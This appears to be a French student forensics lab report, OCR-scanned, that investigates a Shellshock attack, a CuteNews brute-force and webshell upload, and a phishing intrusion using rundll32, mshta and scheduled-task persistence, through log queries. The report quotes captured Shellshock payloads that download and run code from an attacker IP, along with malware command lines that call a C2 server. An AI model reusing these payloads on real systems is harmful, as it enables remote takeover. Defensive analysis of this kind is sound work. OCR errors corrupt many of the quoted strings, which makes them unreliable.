TP O

QUELLE EST L'ORIGINE DES LOGS ?
Les logs du fichier access.log proviennent d’'un serveur web.

COMBIEN D’ADRESSES IP DIFFERENTES SE SONT CONNECTEES AU
SERVEUR ?

S cat TP@-access.log

1| sort | unig -c | wc -1
47

COMBIEN DE REQUETES ONT OBTENU UN CODE STATUT DE « 200 » ?
: L S cat TPO@-access.log

S cat TPO®-access.log

QUEL EST LA METHODE HTTP LA PLUS UTILISEE ?

S cat TPO-access.log

6 | sort | unig -c
6 "
15 "CONNECT
60 "GET
1 "HEAD
1 "POST

"quit"

"\x00"
"\x04\x01\xO0P\xCOc\xF660\x00"
"\x04\x01\xOOP\xC6\xCE\XxOEUO\x00"
"\x05\x01\x00"

Y-A-T-IL EU UNE ACTIVITE SUSPICIEUSE VISIBLE DANS LES RESULTATS DE LA
PRECEDENTE QUESTION ?

Oui, on remarque l'utilisation de méthodes HTTP inhabituelles sous forme hexadécimale. Ce
qui peut correspondre a :
e L’activité de scanners de vulnérabilités cherchant a tester si le serveur présente des
failles exploitables.

e Des tentatives de communication TLS sur un canal HTTP, identifiables par des
séquences comme : \x16\x03\x01\x01\.

e Des requétes mal formées, comme des erreurs dans le champ Content-Length ou

d'autres anomalies similaires.

UNE ATTAQUE SE DISSIMULE DANS LES LOGS, LAQUELLE ?
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$ cat TPO-access.log | grep -1 ')
61.161.130.241 - - [30/S ep!“@lS 10:34:00 -0400] "GET / HTTP/1.1" 200 867 " { :; }; /bin/b
ash -c \x22rm -rf /tmp/*;echo wget http://61.160.212.172:911/java -0 /tmp/China.Z-ionw >> /
tmp/Run.sh;echo echo By China.Z == /tmp/Run.sh;echo chmod 777 ftmpfchina.z—ionw > /tmp/Run
.sh;echo /tmp/China.Z-1ionw == ftmp!Run sh;echo rm -rf /tmp/Run.sh == /tmp/Run.sh;chmod 777
Jtmp/Run.sh; /tmp/Run. bh\a“Z“ ! { :; }; /bin/bash -c \x22rm -rf ftmpf*;echo wget http://61
.160.212.172:911/java -0 /tmp/China.Z-ionw >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.
sh;echo chmod 777 /tmp/China.Z-ionw => /tmp/Run.sh;echo /tmp/China.Z-ionw == /tmp/Run.sh;ec
ho rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\x22"
61.161.130.241 - - [30/Sep/2015:10:36:01 -0400] "GET / HTTP/1.1" 200 867 "() { :; }; /bin/b
ash -c \x22rm -rf /tmp/*;echo wget http://61.160.212.172:911/java -0 /tmp/China.Z-fluz == /
tmp/Run.sh;echo echo By China.Z == /tmp/Run.sh;echo chmod 777 /tmp/China.Z-fiuz == /tmp/Run
.sh;echo /tmp/China.Z-fiuz >> ftmp!Run sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777
Jtmp/Run.sh; /tmp/Run. bh\a““” ! { :; }; /bin/bash -c \x22rm -rf /[tmp/*;echo wget http://61
.160.212.172:911/java -0 /tmp/China.Z-fiuz >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.
sh;echo chmod 777 /tmp/China.Z-fiuz >> ftmprun sh;echo /tmp/China.Z-fiuz >> ftmprun.sh;ec
ho rm -rf /tmp/Run.sh == /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run. bh\a““”

C’est une attaque de type ShellShock, découverte en 2014. Elle permet a un attaquant
d’exécuter des commandes a distance en injectant du code malveillant dans des variables
d’environnement. Cette faille est souvent exploitée via des requétes HTTP malformées ou
des services utilisant Bash. Elle peut conduire a une prise de contréle totale du systéme

TP 1

QUEL FICHIER VA DONNER LES JOURNAUX UTILES A L'INVESTIGATION ?
Le fichier .bash_history, car il répertorie les derniéres commandes saisies dans le terminal
par l'utilisateur.

QU'A POTENTIELLEMENT FAIT LATTAQUANT ?
L'attaquant a essayé d’afficher son IP avec ifconfig, mais il est possible qu'’il n’ait pas les
droits pour exécuter cette commande.

Il a aussi utilisé la commande nmap avec les options “-sL -n”, qui permettent de lister les
adresses. Uniquement l'adresse 192.168.2.1/32 a été affichée.

Dans le fichier .bashrc on voit que le fichier a été modifié par I'attaquant,que la machine
tourne certainement sous Debian, et que I'attaquant a ajouté un script shell qui renvoie le
fichier /etc/shadow a chaque connexion de I'utilisateur vers un serveur web.

L'attaquant a sGrement tenter d’exploiter des permissions sur .bashrc pour lire le fichier
/etc/shadow qui est uniquement accessible par root.

TP 2

QUE S’EST-IL PASSE ?
Convertir les logs dans un format DSV pour les analyser avec Splunk :
$ log2timeline -f evtx 'sysmon.evtx' > sysmon.csv

Dans les logs le champ "desc" semble étre le plus intéressant car il contient des
informations détaillées sur les processus et connexions :

date, time, timezone,MACB, source, sourcetype, type, user, host, short,des
c,version,filen ame, inode,notes, format, extra
01/29/2017,16:25:27,CEST,MACB, EVTX,Microsoft-Windows-Sysmon/Operat
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ional, Event Logged, -, WIN-GKSUEUM7PGO,Event ID
Microsoft-Windows-Sysmon/Operational/MicrosoftWindows-Sysmon:5,Mic
rosoft-Windows-Sysmon/Operational/Microsoft-Windows-Sysmon ID [5]
:EventData/Data -> UtcTime = 2017-01-29 15:25:27.791 ProcessGuid =
{46CAA40E-0966-588E-0000-001019340800} ProcessId = 2368 Image =
C:/Users/TestPC/ Desktop/SysinternalsSuite/Sysmon.exe
,2,/home/user/Desktop/ sysmon.evtx, 790801, Description of EventIDs
can be found here: http://
support.microsoft.com/default.aspx?scid=kb;EN-US; 947226 URL:
http://eventid.net/
display.asp?eventid=5&source=Microsoft-Windows-Sysmon, Log2t::input
ctevtx, -

Champ desc :

desc

Microsoft-Windows-Sysmon/Operational/Microsoft-Windows-Sysmon ID
[5] :EventData/ Data —-> UtcTime = 2017-01-29 15:25:27.791
ProcessGuid = {46CAA40E-0966-588E-0000-001019340800} ProcessId =
2368 Image = C:/Users/TestPC/ Desktop/SysinternalsSuite/Sysmon.exe

Formater les logs pour aider Splunk :
eventID=5 UtcTime=2017-01-29 15:25:27.791

ProcessGuid={46CAA40E-0966-588E-0000-001019340800} ProcessId=2368
Image=C:/Users/ TestPC/Desktop/SysinternalsSuite/Sysmon.exe ..

Dans Splunk :
index="tp2" | stats count by eventID
On obtient :
eventlD count
3 (connexions réseau) 2511

2 (changement de timestamp de fichier) | 191

1 (création de processus) 165
5 (arrét de processus) 152
6 (chargement de driver) 1

On examine les connexions réseau pour identifier les ports de destination suspects :
index="tp2" eventID=3 | top DestinationPort

DestinationPort count | percent

6892 1088 | 43.3%
443 (HTTPS) 713 28.4%
80 (HTTP) 340 13.5%

137 (NetBIOS) 272 10.8%
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Le port 6892 est suspect car il représente presque la moitié des connexions.

On va donc regarder quel processus est responsable de ces connexions sur le port 6892.
index="tp2" event|D=3 DestinationPort=6892 | top Image

Image

count percent

C:/Users/TestPC/AppDat
a/Roaming.ExE

1088 100.0%

On voit que le processus Roaming.exe est responsable des connexions sur le port 6892.

index="tp2" eventID=3
DestinationIp

Destinationlp | count
91.117.40.0 1
91.117.40.1 1

91.117.40.10 1

91.117.40.11 1

91.117.40.12 1

DestinationPort=6892 |

stats count by

Ces adresses IP semblent faire partie d’'un méme sous-réseau, ce qui peut indiquer un

comportement malveillant.

On recherche l'origine du processus Roaming.exe :
index="tp2" eventlD=1 Image="C:/Users/TestPC/AppData/Roaming.ExE"

CommandLine

Image

ParentProcessld

C:/Users/TestPC/AppData/R
oaming.exe

C:/Users/TestPC/AppData/R
oaming.ExE

2076

index="tp2" event|D=1 Processld=2076

CommandLine

Image

ParentProcessld

pOweRShell. EXE

C:/Windows/System32/Wind
owsPowerShell/v1.0/powers
hell.exe

2152

index="tp2" eventlD=1 Processld=2232

CommandLine

Image

ParentProcessld

CmD.exe

C:/Windows/System32/cmd.

2232
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exe

index="tp2" eventID=1 Process|d=2232

CommandLine

Image

ParentProcessld

C:/Program Files/Microsoft
Office/Root/Office16/WINW
ORD.EXE

C:/Program

2536

On remarque que CMD.exe a été exécuté par Microsoft Word.

QUEL DOMAINE DOIT ETRE LOGIQUEMENT BLOQUE SUR LE PARE-FEU DE

LENTREPRISE ?

Le domaine qui doit étre bloqué par le pare-feu est celui-ci:

footarepu.top

TP 3

QUE S’EST-IL PASSE ?

index="tp3" | stats count by uri

other (17)
[cutenewstutos.phplid=7

feutenews /tutos.phplid=6

fcutenews/tutos.phpfid=12

[cutenews (tutos.php

Jcutenews /index.php?id=5

feutenews findex.php?id=4

Jfeutenews/admin.php

fcutenews/apropos.php

feutenews/index.php

fcutenews/index.php?id=3

admin.php est une page d’administration, qui ne devrait pas étre consultée autant de fois.

On identifie I'adresse IP qui a consulté admin.php
index="tp3" uri="/cutenews/admin.php" | top clientip

clientip

count

percent

123.148.98.74

20825

100%
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On en conclut qu’une seule adresse IP se connecte a la page “admin.php” et que cela

constitue la moitié du trafic présent dans les logs ce qui renforce le caractére suspicieux de

ces évenements.

Vérifions d’ou vient cette adresse IP :

index="tp3" uri="/cutenews/admin.php" | top clientip | iplocation clientip | fields clientip, City,

Country
clientip City Country
123.148.98.74 Hangzhou China

L'attaquant semble venir de Chine.

On regarde quelle méthode HTTP a été utilisée sur admin.php
index="tp3" clientip="123.148.98.74" uri="/cutenews/admin.php" | top method

method count percent
POST 20820 99.97%
GET 5 0.03%

La méthode POST est utilisée presque exclusivement.

Sur une page admin.php, cela indique une tentative de connexion, probablement par
bruteforce.

index="tp3" clientip="123.148.98.74" uri="/cutenews/admin.php" | top useragent

useragent count

Python-Requests/2.13.0 20820

Python Requests est une bibliothéque utilisée pour faire des requétes automatisées.
Cela confirme que I'attaquant a probablement utilisé un script de bruteforce en Python.
On cherche a voir si I'attaquant a pu se connecter avec succes :

index="tp3" clientip="123.148.98.74" uri="/cutenews/admin.php" status=200 | timechart
count as total by method

4 Area Chart -

3:.00 PM 4:00 PM 5:00 PM
Tue Apr 25

Bl cET
POST
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e Vers 14h00 — Intense activité POST (bruteforce en cours).
e Vers 18h00 — Apparition de GET — L’attaquant navigue dans l'interface admin.

Conclusion : Le bruteforce a réussi. L'attaquant a trouvé un mot de passe valide.

REGARDONS L’'ACTIVITE LIEE ET LES PAGES CONSULTEE PAR LATTAQUANT :
index="tp3" clientip="123.148.98.74" status=200 | top uri, method

uri method count
/cutenews/admin.php POST 20818
/cutenews/uploads/avatar_ | GET 11
megane.nopold_b374k-2.8.

php

/cutenews/uploads/avatar_ | GET 11
megane.nopold_b374k-2.8.

php?

/cutenews/uploads/avatar_ [ POST 7
megane.nopold_b374k-2.8.

php

SANS CONNAITRE LE SITE, UN ELEME,NT PARAIT VITE SUSPICIEUX : IL EST BIZARRE
DE VOIR UN FICHIER PHP DANS UN REPERTOIRE « UPLOADS » ET AYANT D’ AUTANT
PLUS UN NOM COMMENCANT PAR « AVATAR »

On remarque que toutes les URL commencent par "/cutenews/".

On fait des recherches sur les vulnérabilités de Cutenews (un CMS).

cutenews exploit avatar (

Tous Vidéos Images Actualités Shopping Plus Paramétres Ou
Environ 311 000 résultats (0,88 secondes)

CuteNews 2.0.3 - Arbitrary File Upload - Exploit-DB
https:/fwww.exploit-db.com/exploits/37474/ = Traduire cette page

3 juil. 2015 - CuteNews 2.0.3 Remote File Upload Vulnerability ... 4 - Select Upload Avatar Example:
Evil.jpg 5 - use tamper data & Rename File Evil.jpg to ...

On découvre qu’il contient une faille d’'upload de fichier arbitraire.

L’attaquant a exploité une faille de Cutenews qui permet d’uploader un script PHP
malveillant.
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Le script "avatar_megane.nopold_b374k-2.8.php" est probablement un webshell.

b374k

Tous Vidéos Images Actualités Shopping Plus Paramétres

Environ 33 600 résultats (0,40 secondes)

GitHub - b374k/b374k: PHP Webshell with handy features
https://github.com/b374k/b374k ~ Traduire cette page

PHP Webshell with handy features. Contribute to b374k development by creating an account on
GitHub.

B374k - B374k/b374k - Module

Le nom "b374k" nous met sur la piste :
Il s'agit du webshell B374K, qui permet a un attaquant d’exécuter des commandes sur le
serveur.

Bilan de I'attaque :
1. Lattaquant (IP : 123.148.98.74 - Chine) a effectué un bruteforce sur admin.php.
2. |l aréussi a se connecter avec un mot de passe faible.
3. Depuis l'interface admin, il a exploité une faille d’'upload de fichier.
4. Il a uploadé un webshell (b374k) pour prendre le contréle du site.
5. Lattaquant pouvait potentiellement exécuter des commandes et modifier le site.

TP 4

QUE S’EST-IL PASSE ?

L'attaque est représentée par une suite d'étapes qui montrent le déroulement de la
compromission du serveur web.
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Voici les éléments du schéma et leur role :
e Attaquant (Hackeur) — Exploite une faille d'un plugin WordPress
e Serveur Web — Compromis suite a I'attaque

TP 5
CONVERTISSEZ LES DONNEES AVEC EVTX_DUMP (JSONL)

evtx dump olivette-sysmon.evtx --format jsonl -f output.json

TROUVEZ CE QU’IL S’EST PASSE (PENSEZ METHODOLOGIE !)

La premiére étape consiste a observer les événements les plus rares pour identifier des
comportements anormaux :

index="olivette" | stats count by Event.System.EventID | lookup
eventid.csv "Event.System.EventID" OUTPUTNEW EventName | sort -
count

FEvent SystemEvenliD = courl & A EverfHame 2
13 1394 RegistreEwvent (Walue Set)
11 043 Fllalreata
1 1714 Frocess creation
22 iy} DRSEvent (DMS gquery)
.20 Halwark connecticn
12 32  AeglstryEvent (Object creats and delete)
] 28 Driver loaded
B 9  Process terminated
E a ConabelenctaThiead
355 [ Error

5 & process changed a file creation time

4 §  Syswon service state changed
s 4 Filelrestastramtash
L [ 1 SarviceConTigurat L onCharge

index="olivette" "Event.System.EventID"=12

| lookup eventid.csv "Event.System.EventID" OUTPUTNEW EventName
| stats values (Event.EventData.TargetObject) by
Event.EventData.Image, EventName

EvenT EvENTDATA IMAGE EvENTNAME vaLUES{EVENT. EVENTDATA. TARGETOBJECT)
CAPROGRAMDATAMICROSOFT\WINDOWS REGISTRYEVENT HELMSOFTWARE\WMICROSOFTWINDOWS\CURRENTVERSIONRUNWINDOWSDEFENDER
DEFENDER\PLATFORM.18.2101.9-0MWsMPENG.E {OBJECT CREATE {KLMSOFTWARE \PoLCIES'\MICROSOFTWINDOWS DEFENDER\DISABLEANTISPYWARE
XE AMD DELETE) -
CAWmpows\ExPLORER.EXE REGISTRYEVENT HRLNS-1-5-21-1250 ICRDSOFT
(OBJECT CREATE WWINDOWS G URRENT B Binary
AMD DELETE)
CAWNDOWS\SYSTEM3 2P OOEXEC. EXE REGISTRYEVENT HELMScHEMAWCK: MICROSOFT-WINDOWS-Fax-Common 2vERSION=10.0.18362.1 ...
{OBJECT CREATE
AND DELETE)
CAWINDOWS\SYSTEMIZASPOOLSV.EXE REGISTRYEVENT HKLM\SYSTEMCURRENTCONTROLSETVCONTROLVCLASSY 1 ED268F9-11 F0-4084-B21F-
(OBJECT CREATE ADB3ABEGDCOC PO DRIVERVERSION
AMD DELETE)
CAWINDOWS\SYSTEM3Z\DXGIADAPTERCACHE. EXE REGISTRYEVENT HELMSOFTWARE\WWMIcROSOFTDNRECT X\
{OBJECT CREATE {A3DE3731-5803-11EB-9608-005056A295D3PDANERVERSION
AND DELETE)

index="olivette" "Event.System.EventID"=3

| lookup eventid.csv "Event.System.EventID" OUTPUTNEW EventName
| stats values (Event.EventData.DestinationlIp) by
Event.EventData.Image, EventName
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EvENT . EVENTDATA . TMAGE EvENTHAME VALUES { EVENT . EVENTDATA . DESTINATIONIPR )

C £ Y UsERS\uSERY\ APFDATAY LOCAL\MICROSCFT Y ONEDRIVE \ ONEDRIVE . EXE NETWORE. CONNECTTON 13.105.28.48

C: \UseRs" usER '\ DowNLOADS | OFF ICESETUF « EXE NETWORK CONMECTION 23.215.180.63
C: \Winnows\ SYysWOW6E 4 \RuRDLLI 2 .EXE NETWORK CONRECTION 51.178.171.42
C: \Winnows\ SYsTENI 2 \NSHTR . EXE NETWORK CONRECTION 51.178.171.42

C: \Winnows ', SxaTeN3 2\ NOTEPAD . EXE

C: \Winoows\ SyeTEn3 2 \RuwoLL3 2 . EXE -,
-
.
C: \Winnows "\, SysTEM3 2\ SVCHOST . EXE
52.179.21%.14
SysTEM NETWORK CONMECTION 192.168.123.102

192.166.123.255

index="olivette" "Event.System.EventID"=1
Event.EventData.Image="*notepad.exe"

| lookup eventid.csv "Event.System.EventID" OUTPUTNEW EventName
| table Event.EventData.Image, Event.EventData.ParentlImage,
Event.EventData.ProcessId, Event.EventData.ParentProcessId,
Event.EventData.ParentProcessGuid, Event.EventData.ProcessGuid,
Event.EventData.CommandLine, Event.EventData.ParentCommandLine,
time | sort + time

£ & & & & &
EventEventDatalmage  EventEventDataParentimage  EventEventDataProcessld  Event.EveniDetaPareniProcessid  EventEventData PareniProcessGuid  EventEventData ProcessGuid

C:\Windows\Systen32 C:\Mindows\ SyswoMGd 4112 1632 9383CAAE-B261-683F - 9989CAAB-B26Z-6RIF -
“notepad. exe Arundll32. exe 1781-a0paapeadran 1803-BRADEAARAARE

index="olivette" "Event.System.EventID"=1 Event.EventData.Image="*notepad.exe" OR
Event.EventData.ProcessGuid="9989CAAB-B261-603F-1703-000000000A00"
OR
Event.EventData.ProcessGuid="9989CAAB-BOFD-603F-B602-000000000A00"
OR
Event.EventData.ProcessGuid="9989CAAB-BOFD-603F-AA02-000000000A00™
OR
Event.EventData.ProcessGuid="9989CAAB-BOFC-603F-A902-000000000A00"
OR
Event.EventData.ProcessGuid="9989CAAB-BOFC-603F-A502-000000000A00"
OR
Event.EventData.ProcessGuid="9989CAAB-AF53-603F-6302-000000000A00"
OR
Event.EventData.ProcessGuid="9989CAAB-AF52-603F-5602-000000000A00"
OR
Event.EventData.ProcessGuid="9989CAAB-AF52-603F-5602-000000000A00"
OR
Event.EventData.ProcessGuid="9989CAAB-AF4E-603F-5402-000000000A00™
| lookup eventid.csv "Event.System.EventID" OUTPUTNEW EventName
| table Event.EventData.Image, Event.EventData.ParentImage,
Event.EventData.ProcessId, Event.EventData.ParentProcessId,
Event.EventData.ParentProcessGuid, Event.EventData.ProcessGuid,
Event.EventData.CommandLine, Event.EventData.ParentCommandLine,
time

| sort + time
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Image Parent Image ProcessIid ParentProcessId
C:\Windows\System32\cmd.exe C:\Windows\explorer.exe 5508 4576
C:\Windows\System32\mshta.exe C:\Windows\System32\cmd.exe 1572 5508
C:\Windows\System32\rundl132.exe C:\Windows\System32\mshta.exe 65208 1572
C:\Windows\System32\rundl132.exe C:\Windows\System32\rundl132.exe 7552 6208
i ] .

\Windows\Bystem32\ConputarDefuits. C:\Windows\System32\rundl1l32.exe 2168 7552

. C:

Cr\Windaws\Systomfmehta. axe \Windows'\System32\ComputerDefaults.exe LR ek
C:\Windows\System32\rundl132.exe C:\Windows\System32\mshta.exe 7808 7528
C:\Windows\SysWOWe4\rundll32.exe C:\Windows\System32\rundll32.exe 1652 7808
C:\Windows\System32\notepad.exe C:\Windows\SysWOW64\rundl132.exe 4112 1652

-0 oL ®

EXPLORER CMD

RUNDLL32

MSHTA

RUNDLL32

RUNDLL32

RunDLL32

L’attaque a commencé par un mail de phishing, amenant Olivette a exécuter un fichier
malveillant (OFFICESETUP .EXE).

L'attaquant a exécuté un script via MSHTA . EXE et RUNDLL32 .EXE.

Un processus malveillant a créé des entrées dans la base de registre pour assurer sa

persistance.

NOTEPAD.EXE a été utilisé comme processus déguisé pour communiquer avec une IP

suspecte.

A QUOI SERT COMPUTERDEFAULTS.EXE ?

Image ProcessId IntegrityLevel
C:\Windows\System32\cmd.exe 5508 | Medium
C:\Windows\System32\mshta.exe 1572 | Mediom
C:\Windows\System32\rundl13l.exe €208 | Medium
C:\Windows\System32\rundl132.exe 7552 | Mediom
C:\Windows\System32\ComputerDefaults.exe 2168 | High
C:\Windows\System32\mshta.exe T528 | High
C:\Windows\System32\rundl132.exe TBOE& | High »
C:\Windows\SysWOWE4 \rundllil.exe 1652 | High
C:\Windows\System32\notepad.exe 4112 | High
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EST-CE QUE RUNDLL32 OU MSHTA LANCENT D’AUTRES PROCESSUS ?

index="olivette" Event.System.EventID="1"
Event.EventData.ParentProcessId=* Event.EventData.ProcessId=*
Event.EventData.CommandLine=*

| pstree child=Event.EventData.ProcessGuid
parent=Event.EventData.ParentProcessGuid
detail=Event.EventData.CommandLine spaces=50

| search tree=*notepad*

| table tree

9989CAAB-AF53-603F-6302-000000000A00

| --- 9989CAAB-BOFC-603F-A502-000000000A00 "C:\Windows\System32\rundl132. exe" http://51.178.171.42:9999/axzQcTHETUZFTYCT=db@
"7 |--- 3989CAAB-B107-603F-BI02-000000000400 "C:\Windows\System32\rundl132.exe" InetCpl.cpl,ClearMyTracksByProcess 264
" | === 9983CAAB-BOFC-603F-A902-000000000400 "C:\Windows\System3d2\ComputerDefaults. exe”

| === 9989CAAB-BRFD-603F-AAB2-00B0000BRABR "mshta.exe” http://51.178.171.42:9999/axzQc

© |--- 9989CAAB-BOFD-603F-B702-000000000A00 "C:\Windows\System32\rundl132.exe" InetCpl.cpl,ClearMyTracksByProcess 264

© |--- 9989CAAB-BOFD-603F-B6@2-000000000A00 "C:\Windows\System32\rundll32.exe" http://51.178.171.42:9999/axzQc7HETUZFTYCT=5a
TT 7T |--- 99B89CAAB-B372-603F-6903-000000000A00 "C:\Windows\System32\rundl132.exe" http://51.178.171.42:9999/ax2Qc7H6TUZFTYCT
o |- 9‘38BCAAB-B3T3—6@3F—6C93—9@%9%@@A@BI"C:\Windows\SystemB?\PING.F‘J{F" 127.0.8.1 -n 293 |

* |-=- 9389CAAB-B336-603F-4103-000000000A00 "C:\Windows\System32\rundl132. exe" http://51.178.171.42:9999/axzQc?HETUZFTYCT
RNt 998BCA&B-8337-663F—4583—BBBBBEBBBAGBI"C:\Hindows\System}Z\FING.EKE" 127.8.8.1 -n 293 I
©T |--- 9989CAAB-B2DE-6@3F-2A03-000000000A00 "C:\Windows\System32\rundll32.exe" http://51.178.171.42:9999/axzQc7HETUZFTYCT
T 77 |--- 9989CAAB-B2DE-603F-2F03-000000000A80 "C: \Windows\System32\rundl1132.exe" InetCpl.cpl,ClearMyTracksByProcess 264
e 938BCAAB-BEDE—6@3F—2BBB—GB@@B@@GBA@BI"C;\Windows\systema?\cmd.exe" fq /c chep 850 & ipconfig|l> C:hUsers\useria

' AARARL LR RARE SAAE ACATS AAAARAARASMAR fo B _

R 9989CAAB-B2A5-603F -2403-000000000A00 "C:\Windnws\system]?\cmd.exe"_ .-;q ,.f'c_ cP:lZp 850 & schtasks /create /tn KPadic

C PN |- 99EQCM.B—BM5—EG3F—2]:?_3:_qeﬂnﬂﬂaﬂﬂkﬂchtasks Jocreate /tn K@adic /tr "C:\Windows\system32\mshta.exe C:\Prod
T |- 9989GAABBINSZBYIF - 2603-000000000A00 chcp 850

" |--- B989CAAB-B2A5-6@3F-2003-000000000A00 "C:\Windows\system32\cmd.exe" /q /c chcp 858 & schtasks /query /tn K@adic
* |--- 99896 gzgs.—.ﬁeaﬁ-ismtwdeb'déé?a*a schtasks /query /tn Keadic

|=== Bgagéln B2A5-603F-2203-000000000A00 chcp 858

o |=== QBSBCﬁAB'Bzﬁl'633F'1?@3—BBGBBBGBBABB "C:\Windows\SysWOWG64 rund1132. exe" http://51.178.171.42:9999/axzQc?HETUZFTYCT}
B 9389CAA@—B?62—603F—1SBS—GGGGBGQGQAGG "C:\Windows\System3Z\rundl1132. exe" InetCpl.cpl,ClearMyTracksByProcess 264
" === 99393ﬁhﬁ-3?6?-6@3F-1%@?;ﬁ@pﬂnoa&aa C: \Windows\sysnative\notepad.exe"

* | --- 9989CAAB-BA33-6d3F-T403-000A000RAAE "C: \Windows\System32\rund1132.exe” http://51.178.171.42:9939/axzQc?HETUZFTYCT]
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